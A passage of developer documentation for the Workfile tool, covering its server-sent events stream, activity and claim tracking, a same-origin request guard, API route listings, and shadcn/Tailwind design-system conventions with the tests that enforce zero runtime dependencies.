/api/v2/events` is a Server-Sent Events stream of workspace changes. ``` event: hello data: {"serverId":"aec9c77abfc871ec","lastEventId":0} id: 1 event: records.changed data: {"epoch":1,"count":1,"paths":[".project/cards/T-0042-example.md"]} ``` | Event | Meaning | | --- | --- | | `hello` | Sent on connect. `serverId` distinguishes a reconnection to the same process from one to a restarted process whose ids began again. | | `records.changed` | Files changed. Carries the paths and the new index `epoch`. | | `activity.changed` | A card write may have changed who is working on what. A separate event so a presence view need not refetch records. | | `sync.reset` | Too many paths at once (a `git checkout`, a release), or the client's `Last-Event-ID` fell off the ring buffer. Refetch rather than applying a delta. | Events are **invalidations, not payloads**: no record body ever travels down the channel. The client fetches what the view it has mounted actually needs. The source is a file watcher over the protocol corpus, so it sees every writer — the CLI, an agent over MCP, git, an editor — not only mutations made through this server. `.project/.cache` is excluded: it holds the locks that churn on every write, the persisted index and agent activity, so watching it would feed back into itself. `EventSource` reconnects on its own and resumes with `Last-Event-ID`. The watcher is a fast path and not the source of truth — `fs.watch` is silent on network filesystems and its queue is bounded — so the index still revalidates against the filesystem. A dropped event costs latency, never correctness. ## Diagnostics `GET /api/v2/metrics` reports request counts per route, p50/p95 latency over the last thousand requests, the index epoch, connected event clients and the watcher's mode. `workfile ui --verbose` (or `PROJECT_LOG=1`) also writes one line per request to stderr, and any 5xx logs its stack — which nothing did before, so an error shown in the interface had no counterpart anywhere to diagnose it from. ## Activity `GET /api/v2/activity` answers who is working on what, combining three signals that already existed and that nothing joined up: - the lock files `withFileLock` writes, which exist exactly as long as a write does — the most precise "right now" the system has; - the durable claims in card frontmatter (`claimed_by`, `claimed_at`, `scope`); - session heartbeats under `.project/.cache/activity/sessions/`. Each claim carries a derived `state`: `live` (a session is signalling), `held`, `stale` (past `cards.claimLeaseHours`) or `orphaned` (a session that stopped signalling). That distinction is the point — a claim from four minutes ago and one from a process that died three days ago looked identical before. `conflicts` lists claims by *different* actors whose scopes overlap. This is the situation claims exist to prevent, and it was computed inside `claimCard` and then thrown away with the response. ## Request guard The server holds unauthenticated read and write access to the repository, so the browser's own origin rules are the entire security model. Every request is checked before routing: | Condition | Response | | --- | --- | | `Host` outside the allowlist, or its port is not the listening port | `403 REQUEST_HOST_FORBIDDEN` | | `Sec-Fetch-Site` present and not `same-origin` / `none` | `403 REQUEST_ORIGIN_FORBIDDEN` | | `Origin` present and outside the allowlist | `403 REQUEST_ORIGIN_FORBIDDEN` | | `POST`/`PUT`/`PATCH`/`DELETE` with a CORS-simple or missing `Content-Type` | `415 REQUEST_CONTENT_TYPE_INVALID` | The allowlist is `127.0.0.1`, `localhost` and `::1`, plus the bind address when `--host` names a specific non-wildcard interface. The last rule matters as much as the others: `text/plain`, `application/x-www-form-urlencoded`, `multipart/form-data` and *no* content type at all are CORS-simple, so a cross-origin page could send them without a preflight. Requiring anything else forces a preflight, which this server never answers. Practical consequence for clients: **mutations must set an explicit `Content-Type`**. Use `application/json` for the JSON API and `application/octet-stream` (or any concrete binary type) for asset uploads. A `fetch` that passes a `File` or an `ArrayBuffer` without setting the header will be refused. Non-browser clients are unaffected — `curl` sends no `Origin` and no `Sec-Fetch-Site`, and its `Host` is the loopback address it dialled. Assets are served with `X-Content-Type-Options: nosniff`, a `default-src 'none'; sandbox` CSP, and `Content-Disposition: attachment` for anything outside a narrow inline allowlist. Uploads of types that can execute script (`.html`, `.svg`, `.mjs`, …) are refused with `400 ASSET_TYPE_NOT_ALLOWED`. ## Workspace and index ```text GET /api/v2/workspace GET /api/v2/schema GET /api/v2/health GET /api/v2/update GET /api/v2/records?q=&kind=&limit=&offset= GET /api/v2/search?q=&kind=&limit=&offset=&mode= GET /api/v2/records/:id ``` `/update` answers whether a newer `@illodev/workfile` is published: `{ status, installed, latest, checkedAt, nextCheckAt, source }` with `status` one of `behind`, `current`, `ahead`, `unknown` (no network, or no version in the answer) or `disabled` (`upgrade.check: false`). It is the one route that can reach outside the machine — a single `GET` to the npm registry, cached for 24 hours under `.project/.cache` — and the footer calls it once per page load. The security model states exactly what is sent. Search responses carry `mode` (`"lexical"`, `"hybrid"` or `"regex"`) and `provider` (the semantic provider's id, else `null`), so a client can show which search actually ran. `/search` consults the semantic provider declared in `project.config.mjs` (when there is one) and returns `mode: "hybrid"` with per-record `semanticScore`; `?mode=lexical` opts out. `/records` is always lexical. A `q` of the full `/pattern/flags` form (flags from `imsu`) runs as a regular expression over id, title and body, bypasses the provider and returns `mode: "regex"`; an invalid pattern is `400 SEARCH_REGEX_INVALID`. ## Work ```text GET/POST /api/v2/cards PATCH /api/v2/cards/:id POST /api/v2/cards/:id/claim POST /api/v2/cards/:id/transition POST /api/v2/cards/:id/archive POST /api/v2/cards/:id/reopen POST /api/v2/cards/bulk ``` `PATCH /api/v2/cards/:id`, `POST /api/v2/cards/:id/transition` and `POST /api/v2/cards/bulk` accept `method`, `run` and `evidence` beside `actor`, `force` and `reason`. They describe the write rather than the card, so they are lifted out of the flat body the same way `force` is, and a client that sends `{"status": "done", "method": "ci", "run": "https://…"}` gets a card whose `verified` block says so. Sending any of them on a write that does not move the card into `done` is `400 CARD_VERIFICATION_NOT_APPLICABLE` rather than a silent drop; `method: "forced"` is `400 CARD_VERIFICATION_METHOD_CONFLICT`, since it is derived from what `force` waived. The legacy `PATCH /api/tasks/:id` accepts the same three. A method the card's area does not accept is `409 CARD_VERIFICATION_METHOD_REFUSED`, and the body's details carry the accepted list. Omitting `method` is not a way around it — a close with none records `local`, which is judged like any other. `GET /api/v2/schema` reports the policy under `cards.verification.methods`, so a client can read it before it writes. `force` with a `reason` waives it, and the card then records `forced`. ## Docs ```text GET/POST /api/v2/docs GET/PATCH /api/v2/docs/:id ``` ## History ```text GET/POST /api/v2/changelog GET/PATCH /api/v2/changelog/:id POST /api/v2/changelog/releases/preview POST /api/v2/changelog/releases GET/POST /api/v2/changelog/render ``` ## Memory ```text GET/POST /api/v2/memory GET/PATCH /api/v2/memory/:id POST /api/v2/memory/:id/graduate POST /api/v2/memory/:id/supersede ``` ## Agents and CI ```text GET /api/v2/agents POST /api/v2/agents/sync GET /api/v2/agents/context?card=T-0001 GET /api/v2/ci POST /api/v2/ci/sync ``` ## MCP inspection ```text GET /api/v2/mcp GET /api/v2/mcp/config ``` ## Legacy routes `/api/tasks`, `/api/health` and `/api/knowledge` remain for existing callers. The packaged UI no longer uses the first two: it boots from `/api/v2/workspace` (identity plus the runtime schema) and reads `/api/v2/cards`, which — unlike `/api/tasks` — honours `q`, `limit`, `offset` and `view`, and carries an ETag. Asset upload is still `POST /api/tasks/:id/assets`; it has no v2 equivalent yet. New integrations should target `/api/v2/*`. --- # The interface The UI is a React application in `ui/`, compiled by Vite into `dist/ui` and served by the same `node:http` server that answers the API. It ships precompiled: `files` publishes `dist`, so nothing the interface is built with reaches a consumer's `node_modules`. ## Zero runtime dependencies is a published guarantee `dependencies` is empty. `@types/node` is an optional peer dependency — unpinned, and never installed for you — because two of the published `.d.ts` files name Node types, and a consumer type-checking them with `skipLibCheck: false` needs them. React, Radix, Tailwind, Lucide and the shadcn tooling are all `devDependencies`. This is enforced, not documented and hoped for. `test/dependencies.test.ts` asserts that `dependencies` is empty and that the only peer is the optional `@types/node`, and also that there are no `optionalDependencies`, `bundleDependencies`, or install hooks that would smuggle a tree in past that check. `test/design-system.test.ts` asserts the empty list a second time, from the other direction. The guard matters because `shadcn add` writes its imports into `dependencies` by default. One un-corrected run would publish Radix, Lucide and CVA into every consumer's install, and nothing about the repository would look wrong. Install what a component needs yourself, with `-D`, before running `add` — then check the test still passes. `pnpm run smoke:package` goes further: it packs the tarball, installs it in a clean consumer, and checks that React is absent from the resulting tree. ## shadcn/ui is the design system The third migration (`ADR-0005`) put shadcn/ui on Tailwind v4 underneath the interface — wholesale, zinc as published, after two reverted attempts taught that adopting a framework means adopting its look. The bespoke stylesheet is gone; `ui/src/styles.css` is now the token bridge: - `@import "tailwindcss"`, the registry's shared utilities from `shadcn/tailwind.css` (scroll-fade and friends), and `typeset.css` — the styling system for rendered Markdown. - The zinc palettes for `:root` and `[data-theme="dark"]`. Themes still switch on the `data-theme` attribute the app stamps; a `@custom-variant` bridges the registry's `dark:` utilities to it. - The three semantic namespaces — `--status-*`, `--priority-*`, `--sev-*` — ported byte-for-byte from the system they outlived. They are the first named exception ADR-0005 allows, applied through the helpers in `ui/src/theme.ts` or the mapped utilities (`text-status-doing`). - `--primary` and `--primary-foreground`, the second and last exception: the landing's brand blue rather than zinc's near-black (`ADR-0009`). Everything that means "the primary action" follows the token, so no component knows about it. - `--row-h`, the single density token: 40px compact by default, 48px under `:root[data-density="comfortable"]`. Tables key their row height off it. - Scrollbars, styled once on `*` in `@layer base` from `--border` and `--muted-foreground`. Declared there rather than as a class because a scroller that forgets the class is exactly the one that looks wrong. `test/design-system.test.ts` enforces the direction: the framework imports must be present, the registry must exist and stay free of application imports, no component may speak the dead bespoke vocabulary or name a colour literal, every `var()` referenced must be declared, and the dark palette must follow `data-theme`. `test/tokens.test.ts` walks the theme blocks with a real parser and fails if the dark palette drops a token the light one declares. ### Where components live - `ui/src/components/ui/` is the registry — generated by `shadcn add` and replaced wholesale on regeneration. Hand-edited only where a comment in the file says why; the control scale below is the one standing amendment. - `ui/src/components/domain/` holds the virtual table, the kanban and the Gantt: Workfile's own decisions about how work is displayed, composed from registry parts. - Everything else in `ui/src/components/` is application glue — the inspector, the editors, the palette, the settings dialog. `RecordDrawer` is the overlay a record is read in, and both the card inspector and the memory record go through it: one drawer, one set of dismissal rules. - `ui/src/lib/utils.ts` carries `cn()`; `ui/src/hooks/` the registry hooks. ### Adding a component ```sh pnpm dlx shadcn@latest add node --test test/dependencies.test.ts # nothing reached dependencies node --test test/design-system.test.ts # registry discipline holds ``` The CLI resolves `@/` from the **root** `tsconfig.json` — its `paths` entry exists solely for this, and removing it makes `shadcn add` write into a literal `@/` directory beside `package.json`. App code resolves the same alias through `ui/tsconfig.json` and the matching `resolve.alias` in `vite.config.mjs`; the two must stay in sync. Note `ui/tsconfig.json` declares `paths` without `baseUrl` — TypeScript 7 removed `baseUrl`, and reintroducing it aborts the whole typecheck with TS5102 before a single file is checked. ### Conventions the framework does not decide - **Native selects in table rows** — never a portal select mid-row. The registry's NativeSelect restyles the real `